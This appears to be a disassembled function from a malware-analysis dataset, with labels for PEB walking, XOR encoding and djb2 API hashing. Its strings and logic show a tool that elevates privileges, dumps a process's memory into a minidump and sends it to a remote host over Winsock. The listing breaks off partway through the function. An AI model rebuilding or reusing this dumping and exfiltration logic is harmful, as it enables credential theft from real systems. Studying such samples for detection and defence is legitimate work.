Function at 0x140003014
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using djb2

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3e8
movaps xmmword [rsp + 0x3d0], xmm6
mov qword [rsp + 0xf0], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x14000306e
cmp dword [r8], 0x17171717
je 0x14000307b
inc rdx
cmp rax, rdx
jne 0x14000305c
jmp 0x140003634
movzx ecx, word [r8 + 0x118]
mov rdx, qword [r8 + 0x108]
add rdx, 0x12
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x28
mov r8d, 3
mov r9, 0xffffffffffffffff
call fcn.140001016
test eax, eax
je 0x140003163
lea rdi, [rsp + 0x48]
mov rcx, rdi
mov edx, eax
call fcn.140002bbd
mov rsi, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
lea rcx, [0x140007180]
lea rdi, [rsp + 0x130]
mov qword [rdi], rcx
mov qword [rdi + 8], 0x2b
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rax
lea rax, [0x140007332]
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.140001343
mov dword [rdi], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x140003156
cmp dword [r10], 0x17171717
je 0x1400032a1
inc rdx
cmp rax, rdx
jne 0x140003140
jmp 0x140003634
movaps xmm0, xmmword [section..rdata]
movups xmmword [rsp + 0x60], xmm0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x1400031a2
cmp dword [r8], 0x17171717
je 0x1400031af
inc rdx
cmp rax, rdx
jne 0x140003190
jmp 0x140003634
mov r9, qword [rsp + 0xf0]
movzx ecx, word [r8 + 0x130]
mov rdx, qword [r8 + 0x120]
add rdx, 0x12
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x10
mov dword [rsp + 0x20], 0
mov r8d, 6
call fcn.140001016
test eax, eax
je 0x140003314
lea rdi, [rsp + 0x48]
mov rcx, rdi
mov edx, eax
call fcn.140002bbd
mov rsi, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
lea rcx, [0x140007150]
lea rdi, [rsp + 0x130]
mov qword [rdi], rcx
mov qword [rdi + 8], 0x30
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rax
lea rax, [0x140007332]
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.140001343
mov dword [rdi], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x140003294
cmp dword [r10], 0x17171717
je 0x1400032a1
inc rdx
cmp rax, rdx
jne 0x140003282
jmp 0x140003634
mov rdi, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, rdi
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400032e6
mov rcx, rdi
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x1400032f8
mov rcx, rsi
call fcn.140001b3a
movaps xmm6, xmmword [rsp + 0x3d0]
add rsp, 0x3e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x80], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x140003352
cmp dword [r8], 0x17171717
je 0x14000335f
inc rdx
cmp rax, rdx
jne 0x140003340
jmp 0x140003634
movzx ecx, word [r8 + 0xa0]
mov rdx, qword [r8 + 0x90]
add rdx, 0x12
lea r14, [rsp + 0x80]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 4
mov r9d, 5
call fcn.140001016
test eax, eax
je 0x1400033b2
mov edi, eax
cmp eax, 0xc0000004
jne 0x140003481
xor eax, eax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x140], rax
mov edi, dword [rsp + 0x80]
mov esi, 4
test rdi, rdi
jne 0x140003b3d
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x140003418
cmp dword [r8], 0x17171717
je 0x140003425
inc rdx
cmp rax, rdx
jne 0x140003406
jmp 0x140003634
mov eax, dword [rsp + 0x80]
movzx ecx, word [r8 + 0xa0]
mov rdx, qword [r8 + 0x90]
add rdx, 0x12
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov r8d, 4
mov r9d, 5
call fcn.140001016
test eax, eax
je 0x14000352a
mov edi, eax
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x140003481
shl rdx, 2
mov rcx, rsi
call fcn.140001b3a
lea rbx, [rsp + 0x48]
mov rcx, rbx
mov edx, edi
call fcn.140002bbd
mov rsi, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
lea rcx, str.Failed_to_retrieve_process_snapshot_with_status:_____NtAdjustPrivilegesToken_failed_with_status:_____NtOpenProcessToken_failed_with_status:_0123456789ABCDEF0x0ws2_32.dll127.0.0.1___Dump_sent_successfully_to_remote_host_____Failed_to_send_data_to_remote_host_with_error_code:_____Failed_to_connect_socket_with_error:_____Failed_to_create_socket_with_error:_____Failed_to_initialize_Winsock_with_error:____Process_handle:_____Failed_to_create_memory_dump____No_modules_found._Exiting_____Failed_to_retrieve_process_handle._Exiting__n
lea rdi, [rsp + 0x130]
mov qword [rdi], rcx
mov qword [rdi + 8], 0x31
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rax
lea rax, [0x140007332]
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.140001343
mov dword [rdi], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x14000351a
cmp dword [r10], 0x17171717
je 0x14000359b
inc rdx
cmp rax, rdx
jne 0x140003504
jmp 0x140003634
add rsi, rax
mov rax, qword [rsi + 0x40]
movzx ecx, word [rsi + 0x38]
test rcx, rcx
setne dl
test rax, rax
setne r8b
test r8b, dl
je 0x140003592
mov edx, 0x1505
xor r8d, r8d
mov r9b, byte [rax + r8]
test r9b, r9b
jne 0x14000355f
inc r8
cmp r8, rcx
jb 0x14000354c
jmp 0x140003586
lea r10d, [r9 - 0x20]
cmp r9b, 0x61
movzx r9d, r9b
movzx r10d, r10b
cmovb r10d, r9d
mov r9d, edx
shl r9d, 5
add r9d, edx
movzx edx, r10b
add edx, r9d
jmp 0x140003555
cmp edx, 0x7384117b
je 0x140003668
mov eax, dword [rsi]
test rax, rax
jne 0x140003527
jmp 0x1400035f2
mov rdi, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, rdi
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400035e0
mov rcx, rdi
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x1400035f2
mov rcx, rsi
call fcn.140001b3a
mov dword [rsp + 0x130], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x14000362c
cmp dword [r10], 0x17171717
je 0x140003639
inc rdx
cmp rax, rdx
jne 0x14000361a
call fcn.1400064c0
mov qword [rsp + 0x20], 0
lea rdx, [0x140007303]
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov r8d, 0x2f
call qword [r10 + 0x138]
jmp 0x1400032f8
movsxd rax, dword [rsi + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x130], 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
mov dword [rsp + 0x148], 0x40
movups xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x80], rax
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x1400036df
cmp dword [r8], 0x17171717
je 0x1400036ec
inc rdx
cmp rax, rdx
jne 0x1400036cd
jmp 0x140003634
movzx ecx, word [r8 + 0x88]
mov rdx, qword [r8 + 0x78]
add rdx, 0x12
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x130]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x410
lea rsi, [rsp + 0x48]
mov r8d, 4
mov r9, rsi
call fcn.140001016
mov rsi, qword [rsi]
test rsi, rsi
je 0x1400035f2
lea rdi, [rsp + 0x48]
mov rcx, rdi
mov rdx, rsi
call fcn.140002d9f
mov rbx, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
lea rcx, [0x1400072b1]
lea r14, [rsp + 0x130]
mov qword [r14], rcx
mov qword [r14 + 8], 0x14
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rax, [0x140007332]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 1
lea rdi, [rsp + 0x80]
mov rcx, rdi
mov rdx, r14
call fcn.140001343
mov dword [r14], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400037cf
cmp dword [r10], 0x17171717
je 0x1400037dc
inc rdx
cmp rax, rdx
jne 0x1400037bd
jmp 0x140003634
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r14
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140003821
mov rcx, r14
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140003833
mov rcx, rbx
call fcn.140001b3a
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x318], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x14000388c
cmp dword [r8], 0x17171717
je 0x140003899
inc rdx
cmp rax, rdx
jne 0x14000387a
jmp 0x140003634
movzx ecx, word [r8 + 0xb8]
mov rdx, qword [r8 + 0xa8]
add rdx, 0x12
lea rax, [rsp + 0x318]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x30], 0x30
mov dword [rsp + 0x20], 0
mov r8d, 5
mov r9, rsi
call fcn.140001016
test eax, eax
jne 0x14000611e
mov rdx, qword [rsp + 0x88]
lea rbx, [rsp + 0x60]
mov rcx, rbx
call fcn.140002d9f
mov rdi, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
lea rcx, str.___PEB_Base_Address:_____Failed_to_query_memory_at_address:_Unknown___Total_number_of_modules:____ModuleListStream_size:____Mem64List_offset:____Mem64List_size:____Regions_memory_dump_size:____Number_of_memory_regions:_MDMP
lea rbx, [rsp + 0x130]
mov qword [rbx], rcx
mov qword [rbx + 8], 0x16
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rax
lea rax, [0x140007332]
mov qword [rbx + 0x20], rax
mov qword [rbx + 0x28], 1
lea rcx, [rsp + 0x48]
mov rdx, rbx
call fcn.140001343
mov dword [rbx], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x14000397c
cmp dword [r10], 0x17171717
je 0x140003989
inc rdx
cmp rax, rdx
jne 0x14000396a
jmp 0x140003634
mov rbx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, rbx
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x1400039c5
mov rcx, rbx
call fcn.140001b3a
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x1400039d7
mov rcx, rdi
call fcn.140001b3a
mov rdx, qword [rsp + 0x88]
add rdx, 0x18
mov rcx, rsi
call fcn.14000213a
lea rdx, [rax + 0x30]
mov rcx, rsi
call fcn.14000213a
mov rbx, rax
xor eax, eax
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 8
mov qword [rsp + 0x100], rax
lea r14, [rsp + 0x60]
lea r15, [rsp + 0x48]
lea rdi, [rsp + 0x130]
lea rdx, [rbx + 0x10]
mov rcx, rsi
call fcn.14000213a
test rax, rax
je 0x140003c29
mov r12, rax
lea rdx, [rbx + 0x40]
mov rcx, rsi
call fcn.14000213a
mov rcx, r14
mov rdx, rsi
mov r8, rax
call fcn.140001d42
lea rdx, [rbx + 0x30]
mov rcx, rsi
call fcn.14000213a
mov rcx, r15
mov rdx, rsi
mov r8, rax
call fcn.140001d42
mov r13, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov rcx, rdi
mov rdx, r13
call fcn.140006430
mov rcx, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x140003aee
mov edx, 0x1505
xor r8d, r8d
mov r9b, byte [rcx + r8]
test r9b, r9b
jne 0x140003abb
inc r8
cmp r8, rax
jb 0x140003aa8
jmp 0x140003ae2
lea r10d, [r9 - 0x20]
cmp r9b, 0x61
movzx r9d, r9b
movzx r10d, r10b
cmovb r10d, r9d
mov r9d, edx
shl r9d, 5
add r9d, edx
movzx edx, r10b
add edx, r9d
jmp 0x140003ab1
cmp edx, 0xe477fbca
je 0x140003b98
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x140003b00
call fcn.140001b3a
mov rcx, rsi
mov rdx, rbx
call fcn.14000213a
mov rbx, rax
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140003b22
mov rcx, qword [rsp + 0x50]
call fcn.140001b3a
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140003a2a
mov rcx, r13
call fcn.140001b3a
jmp 0x140003a2a
mov qword [rsp + 0x20], 4
lea rbx, [rsp + 0x130]
mov r9d, 4
mov rcx, rbx
xor edx, edx
mov r8, rdi
call fcn.1400017d0
mov rsi, qword [rbx + 8]
mov rbx, qword [rbx + 0x10]
lea rcx, [rsi + rbx*4]
cmp rdi, 1
je 0x140003b8d
lea r8, [rdi*4 - 4]
xor edx, edx
call fcn.140001868
add rbx, rdi
lea rcx, [rsi + rbx*4]
add rcx, 0xfffffffffffffffc
mov dword [rcx], 0
jmp 0x1400033e5
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x140003baa
call fcn.140001b3a
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x140], rax
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x130], xmm0
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rsp + 0x148], xmm0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x158], rax
lea rbx, [rsp + 0xf0]
mov rcx, rbx
call fcn.1400016af
mov rax, qword [rbx + 8]
movaps xmm0, xmmword [rsp + 0x130]
movaps xmm1, xmmword [rsp + 0x140]
movaps xmm2, xmmword [rsp + 0x150]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rax + 0x30], r12
mov qword [rax + 0x38], 0
mov qword [rbx + 0x10], 1
mov rbx, qword [rsp + 0x100]
mov qword [rsp + 0x2f0], rbx
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x2e0], xmm0
test rbx, rbx
je 0x14000405e
xor eax, eax
lea rcx, [rsp + 0xf0]
mov qword [rcx], rax
mov qword [rcx + 8], 8
mov qword [rcx + 0x10], rax
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], rax
mov r12, qword [rsp + 0x2e8]
mov qword [rsp + 0x2f8], rbx
shl rbx, 6
mov qword [rsp + 0x120], rbx
lea r15, [r12 + rbx]
lea rax, [r12 - 0x40]
mov qword [rsp + 0x118], rax
mov ebx, 1
mov eax, 8
mov qword [rsp + 0xe0], rax
xorps xmm6, xmm6
mov qword [rsp + 0x110], 0
xor r13d, r13d
mov qword [rsp + 0x78], 0
mov qword [rsp + 0xd8], 0
xor r14d, r14d
mov qword [rsp + 0xe8], r15
mov qword [rsp + 0x108], r12
movaps xmmword [rsp + 0x150], xmm6
movaps xmmword [rsp + 0x140], xmm6
movaps xmmword [rsp + 0x130], xmm6
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x140003d43
cmp dword [r8], 0x17171717
je 0x140003d50
inc rdx
cmp rax, rdx
jne 0x140003d31
jmp 0x140003634
movzx ecx, word [r8 + 0x70]
mov rdx, qword [r8 + 0x60]
add rdx, 0x12
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x38], 0x30
mov r8d, 6
mov r9, rsi
call fcn.140001016
test eax, eax
jne 0x140004139
mov rbp, qword [rsp + 0x148]
cmp dword [rsp + 0x154], 1
je 0x140004043
cmp dword [rsp + 0x150], 0x1000
jne 0x140004043
mov rdi, qword [rsp + 0x130]
mov rax, r12
cmp qword [rax + 0x10], r14
jne 0x140003de6
mov rcx, qword [rax + 8]
xor edx, edx
cmp r14, rdx
je 0x140003e05
mov r8b, byte [rcx + rdx]
lea r9, [rdx + 1]
cmp r8b, byte [rbx + rdx]
mov rdx, r9
je 0x140003dd0
add rax, 0x40
cmp rax, r15
jne 0x140003dc4
cmp rbp, 0x1000
setne al
test rdi, rdi
sete cl
or cl, al
jne 0x140003e14
jmp 0x140003e27
cmp rbp, 0x1000
jne 0x140003e14
cmp qword [rax + 0x30], rdi
jne 0x140003e1e
add qword [rsp + 0x78], rbp
jmp 0x140003ef2
mov rcx, qword [rsp + 0x78]
mov qword [rax + 0x38], rcx
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x118]
test rax, rax
je 0x140003e79
lea r8, [rcx + 0x40]
add rax, 0xffffffffffffffc0
cmp qword [rcx + 0x70], rdi
mov rcx, r8
jne 0x140003e37
mov rdx, qword [r8 + 8]
mov r8, qword [r8 + 0x10]
lea rcx, [rsp + 0x130]
call fcn.140006430
mov r12, qword [rsp + 0x130]
movabs rax, 0x8000000000000000
cmp r12, rax
jne 0x140003eb0
mov al, byte [section..bss]
mov ecx, 7
call fcn.140001a93
test rax, rax
je 0x140006114
mov r15, rax
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov r12d, 7
mov r14d, 7
jmp 0x140003ec0
mov r15, qword [rsp + 0x138]
mov r14, qword [rsp + 0x140]
mov eax, 0x1000
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0xd8]
test rdx, rdx
je 0x140003edf
mov rcx, rbx
call fcn.140001b3a
mov rbx, r15
mov qword [rsp + 0xd8], r12
mov r12, qword [rsp + 0x108]
test rbp, rbp
js 0x1400060ff
je 0x140003f20
mov rcx, rbp
call fcn.140001a93
test rax, rax
je 0x14000610c
mov r15, rax
mov rcx, rax
xor edx, edx
mov r8, rbp
call fcn.140001868
jmp 0x140003f26
mov r15d, 1
mov qword [rsp + 0x130], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x140003f65
cmp dword [r8], 0x17171717
je 0x140003f72
inc rdx
cmp rax, rdx
jne 0x140003f53
jmp 0x140003634
movzx ecx, word [r8 + 0x58]
mov rdx, qword [r8 + 0x48]
add rdx, 0x12
lea rax, [rsp + 0x130]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
mov r8d, 5
mov r9, rsi
call fcn.140001016
test eax, eax
jne 0x140004023
cmp qword [rsp + 0x130], 0
je 0x140004023
lea r8, [r15 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, r15
call fcn.1400011e6
mov rdi, qword [rsp + 0x110]
cmp rdi, qword [rsp + 0xf0]
jne 0x140003ff8
lea rcx, [rsp + 0xf0]
call fcn.1400015f5
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xe0], rax
mov rax, rdi
shl rax, 4
inc rdi
mov rcx, qword [rsp + 0xe0]
mov qword [rcx + rax], r13
mov qword [rcx + rax + 8], rbp
mov qword [rsp + 0x110], rdi
mov qword [rsp + 0x100], rdi
test rbp, rbp
lea rdi, [rsp + 0x130]
je 0x14000403b
mov rcx, r15
mov rdx, rbp
call fcn.140001b3a
mov r15, qword [rsp + 0xe8]
add r13, rbp
movabs rax, 0x7ffffffeffff
cmp r13, rax
jb 0x140003cf8
jmp 0x14000423c
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x140004091
cmp dword [r8], 0x17171717
je 0x14000409e
inc rdx
cmp rax, rdx
jne 0x14000407f
jmp 0x140003634
movzx ecx, word [r8 + 0x100]
mov rdx, qword [r8 + 0xf0]
add rdx, 0x12
mov r8d, 1
mov r9, rsi
call fcn.140001016
mov dword [rsp + 0x130], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400040fd
cmp dword [r10], 0x17171717
je 0x14000410a
inc rdx
cmp rax, rdx
jne 0x1400040eb
jmp 0x140003634
mov qword [rsp + 0x20], 0
lea rdx, [0x1400072e5]
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov r8d, 0x1e
call qword [r10 + 0x138]
jmp 0x14000591d
lea r15, [rsp + 0x48]
mov rcx, r15
mov rdx, r13
call fcn.140002d9f
mov rdi, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
lea rcx, [0x140007026]
lea r15, [rsp + 0x130]
mov qword [r15], rcx
mov qword [r15 + 8], 0x27
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], rax
lea rax, [0x140007332]
mov qword [r15 + 0x20], rax
mov qword [r15 + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, r15
call fcn.140001343
mov dword [r15], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400041d0
cmp dword [r10], 0x17171717
je 0x1400041dd
inc rdx
cmp rax, rdx
jne 0x1400041be
jmp 0x140003634
mov r15, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r15
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140004222
mov rcx, r15
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140004234
mov rcx, rdi
call fcn.140001b3a
mov r15, qword [rsp + 0xe8]
cmp qword [r12 + 0x10], r14
jne 0x14000425e
mov rax, qword [r12 + 8]
xor ecx, ecx
cmp r14, rcx
je 0x140004269
mov dl, byte [rax + rcx]
lea r8, [rcx + 1]
cmp dl, byte [rbx + rcx]
mov rcx, r8
je 0x14000424a
add r12, 0x40
cmp r12, r15
jne 0x14000423c
jmp 0x140004273
mov rax, qword [rsp + 0x78]
mov qword [r12 + 0x38], rax
mov rdx, qword [rsp + 0xd8]
test rdx, rdx
je 0x140004288
mov rcx, rbx
call fcn.140001b3a
mov r15, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xe0], rax
mov rdi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xd8], rax
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x1400042fa
cmp dword [r8], 0x17171717
je 0x140004307
inc rdx
cmp rax, rdx
jne 0x1400042e8
jmp 0x140003634
movzx ecx, word [r8 + 0x100]
mov rdx, qword [r8 + 0xf0]
add rdx, 0x12
mov r8d, 1
mov r9, rsi
call fcn.140001016
mov rax, qword gs:[0x60]
mov ecx, dword [rax + 0x118]
mov dword [rsp + 0x128], ecx
mov ecx, dword [rax + 0x11c]
mov dword [rsp + 0x12c], ecx
mov ecx, dword [rax + 0x120]
mov dword [rsp + 0x108], ecx
mov eax, dword [rax + 0x124]
mov dword [rsp + 0x118], eax
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x330], xmm0
mov r13, qword [rsp + 0x2f0]
mov qword [rsp + 0x340], r13
imul rax, r13, 0x6c
mov qword [rsp + 0x300], rax
lea r12, [rax + 4]
mov rdx, qword [rsp + 0x338]
mov r8, r13
shl r8, 6
test r13, r13
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0xe8], r8
mov qword [rsp + 0x2d8], rdi
je 0x140004402
xor eax, eax
mov rcx, qword [rdx + rax + 0x28]
lea r12, [r12 + rcx*2]
add r12, 8
add rax, 0x40
cmp r8, rax
jne 0x1400043c0
lea rsi, [r12 + 0x7c]
mov rdi, qword [rsp + 0xe0]
shl rdi, 4
lea rax, [r12 + rdi]
add rax, 0x8c
mov qword [rsp + 0x2d0], rax
add rdi, 0x10
mov rdx, r13
jmp 0x140004427
mov rax, qword [rsp + 0xe0]
shl rax, 4
lea rdi, [rax + 0x10]
add rax, 0x90
mov qword [rsp + 0x2d0], rax
mov esi, pe_nt_image_headers64
xor edx, edx
lea r14, [rsp + 0x48]
mov rcx, r14
call fcn.140002a26
mov rbx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
lea rcx, [0x140007054]
lea r14, [rsp + 0x130]
mov qword [r14], rcx
mov qword [r14 + 8], 0x1d
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rax, [0x140007332]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140001343
mov dword [r14], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
mov r8, qword [rsp + 0xe8]
je 0x140003634
mov rdx, qword [rsp + 0x78]
add rdx, r8
mov qword [rsp + 0x110], rdx
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400044d3
cmp dword [r10], 0x17171717
je 0x1400044e0
inc rdx
cmp rax, rdx
jne 0x1400044c1
jmp 0x140003634
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r14
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140004525
mov rcx, r14
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140004537
mov rcx, rbx
call fcn.140001b3a
lea r14, [rsp + 0x48]
mov rcx, r14
mov rdx, r12
call fcn.140002a26
mov rbx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
lea rcx, [0x140007071]
lea r14, [rsp + 0x130]
